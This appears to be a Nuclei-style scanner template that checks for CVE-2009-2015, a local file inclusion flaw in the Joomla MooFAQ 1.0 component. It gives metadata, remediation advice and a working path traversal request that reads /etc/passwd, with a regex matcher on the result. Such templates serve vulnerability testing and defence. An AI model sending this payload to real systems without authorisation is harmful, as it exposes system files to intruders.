Joomla! MooFAQ 1.0 - Local File Inclusion

id: CVE-2009-2015

info:
  name: Joomla! MooFAQ 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Ideal MooFAQ 1.0 via com_moofaq allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter (local file inclusion).
  impact: |
    The vulnerability allows an attacker to include arbitrary files from the local file system, potentially leading to unauthorized access, information disclosure.
  remediation: |
    Update Joomla! MooFAQ to the latest version or apply the official patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/8898
    - http://www.vupen.com/english/advisories/2009/1530
    - https://nvd.nist.gov/vuln/detail/CVE-2009-2015
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-2015
    cwe-id: CWE-22
    epss-score: 0.02124
    epss-percentile: 0.84582
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve,cve2009,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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